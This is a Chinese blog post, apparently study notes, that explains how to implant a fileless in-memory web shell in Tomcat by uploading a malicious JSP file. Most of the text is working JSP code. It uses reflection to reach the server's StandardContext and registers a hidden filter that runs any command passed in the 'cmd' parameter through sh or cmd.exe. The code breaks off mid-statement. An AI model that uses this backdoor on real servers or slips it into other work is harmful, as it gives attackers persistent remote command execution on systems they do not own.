【安全记录】通过jsp文件注入内存马

最新推荐文章于 2024-07-31 16:53:12 发布

君行路V

最新推荐文章于 2024-07-31 16:53:12 发布

阅读量1.9k

点赞数 2

分类专栏：信安文摘文章标签：信息安全网络安全安全漏洞

本文链接：https://blog.csdn.net/FHLZLHQ/article/details/119947107

版权

本文详细介绍了如何通过上传恶意jsp文件，分别生成filter和servlet类型的内存马，实现对目标服务器的命令执行。内容涵盖注入过程、相关类的使用以及实际效果演示，是对内存马理论知识的实践应用。

摘要由CSDN通过智能技术生成

文章目录

微信公众号：信安文摘

1. 前言

前面对内存马的理论知识进行了学习：https://mp.weixin.qq.com/s/Y4Wvs3YK1J03Kh7HfPY3gg

这篇文章学习使用jsp文件注入内存马（可以将恶意的jsp文件上传到目标服务器并访问，来注入内存马）。

2. 上传jsp文件生成filter类型的内存马

首先展示恶意jsp文件：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "junxinglu";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.get